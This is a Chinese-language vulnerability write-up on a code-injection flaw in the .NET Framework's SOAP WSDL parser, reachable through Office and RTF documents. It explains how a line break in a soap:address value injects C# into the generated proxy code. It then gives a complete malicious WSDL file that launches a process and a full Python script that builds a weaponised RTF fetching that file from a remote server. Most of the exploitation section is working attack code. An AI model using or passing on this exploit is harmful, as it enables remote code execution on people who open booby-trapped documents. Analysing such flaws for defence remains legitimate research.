0x00.漏洞简介

Office在进行SOAP请求时会调用 .NET FrameWork,由于 .NET FrameWork在生产SOAP WSDL的定义内容期间未考虑到CRLF序列序列,导致存在代码注入漏洞。通过插入包含CLRF序列的SOAP请求地址,能够将任意代码注入到于 .NET FrameWork生成的cs代码中,伴随着csc.exe的解析达到任意代码执行的目的。

0x02.漏洞分析

首先定义一个正常的 SOAP 请求如下:

1
2
<soap:address location="https://bypass.world"/>
<soap:address location="https://baidu.com"/>

来看 .NET 是怎么处理这个 SOAP 请求的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//IsValidUrl处理url函数
internal static string IsValidUrl(string value)
{
if (value == null)
{
return "\"\"";
}
vsb.Length= 0;
vsb.Append("@\"");
for (int i=0; i<value.Length; i++)
{
if (value[i] == '\"')
vsb.Append("\"\"");
else
vsb.Append(value[i]);
}
vsb.Append("\"");
return vsb.ToString();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 调用IsValidUrl处理address,并写入到cs文件
if (_connectURLs != null)
{
for (int i=0; i<_connectURLs.Count; i++)
{
sb.Length = 0;
sb.Append(indent2);
if (i == 0)
{
sb.Append("base.ConfigureProxy(this.GetType(), ");
sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
sb.Append(");");
}
else
{
// Only the first location is used, the rest are commented out in the proxy
sb.Append("//base.ConfigureProxy(this.GetType(), ");
sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
sb.Append(");");
}
textWriter.WriteLine(sb);
}
}

如上,来看正常经过 .NET SOAP WSDL 解析模块解析后的代码将会如下:

1
2
base.ConfigureProxy(this.GetType(), @"https://bypass.world");
//base.ConfigureProxy(this.GetType(), @"https://baidu.com");

可以看到当_connectURLs.Count为2,即存在2个地址的时候,仅会保留第一个地址,第二个地址将会在字符串前面加上//base.ConfigureProxy(this.GetType(),达到注释的目的。

此处未考虑到address中存在换行的情况。当定义一个SOAP WSDL如下时:

1
2
3
4
5
6
<soap:address location="http://127.0.0.1?calc?xx"/>
<soap:address location="http://xxxxx
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>

我们来看解析后的代码:

1
2
3
4
5
6
base.ConfigureProxy(this.GetType(), @"http://127.0.0.1?calc?xx");
//base.ConfigureProxy(this.GetType(), @"http://xxxxx;
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //");

可以看到成功将代码注入到cs文件中,并执行代码 System.Diagnostics.Process.Start("calc","xx").

0x03.漏洞利用

Exploit文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://127.0.0.1?calc?xx"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>

将上述代码保存到WEB目录如http://192.168.1.1/1.txt

生成包含SOAP请求的rtf文档:

此处和CVE-2017-0199类似方式插入对象,利用 SOAP Moniker 从远程服务器拉取 SOAP XML 文件,因为无法直接在对象链接中插入如soap:wsdl=http://192.168.1.1/1.txt这种 SOAP 标记,需要手动修改 rtf Object 的十六进制内容为 SOAP 请求。

Github上有人给出了自动化生成rtf文件的代码, 我们只需要generate_exploit_rtf部分,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
import sys
def generate_exploit_rtf(filename, docuri):
# Preparing malicious RTF
s = docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
docuri_pad_len = 714 - len(docuri_hex)
docuri_pad = "0"*docuri_pad_len
payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
payload += "{\n"
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass Word.Document.8}\n"
payload += "{\\*\\objdata 010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00"+docuri_hex+docuri_pad+"00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated "+filename+" successfully"
if __name__ == '__main__':
generate_exploit_rtf(sys.argv[1], sys.argv[2])

OK,到此可以直接运行上面generate_exploit_rtf.py 1.rtf http://192.168.1.1/1.txt,生成1.rtf文件,执行即可弹出calc
下图是测试过程中在写字板中打开rtf,测试机未安装office,发现也能中招。究其原因,还是出在 .NET 上啊。
2.png

可以看到进行执行漏洞会在当前目录下生成三个文件,其中Logo.cs为 SOAP 模块解析后的源码。可以看到代码被注入进去了。
3.png